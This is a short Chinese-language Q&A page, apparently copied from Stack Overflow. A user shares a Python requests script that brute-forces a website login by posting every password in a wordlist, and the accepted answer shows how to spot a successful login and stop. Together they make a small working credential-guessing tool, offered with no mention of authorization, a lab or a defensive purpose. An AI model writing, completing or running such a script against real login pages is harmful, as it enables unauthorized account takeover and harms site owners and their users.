我正在使用请求模块编写一个暴力破解密码脚本。如何查看我是否成功登录网站?
url = sys.argv[1]
user = sys.argv[2]
file = sys.argv[3]
varuser = sys.argv[4]
varpass = sys.argv[5]
passwords = open(file, "r").read().splitlines()
for p in passwords:
payload = {varuser: user, varpass: p}
requests.post(url, data=payload)
最佳答案
这取决于网站。一般来说,您可以在响应文本中搜索某些字符串:
...
r = requests.post(url, data=payload)
if 'Welcome' in r.text:
print('SUCCESS!')
break
...
关于python - 如何知道何时使用 Python 的 Requests 模块向网站发送 “log in” ?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/32095598/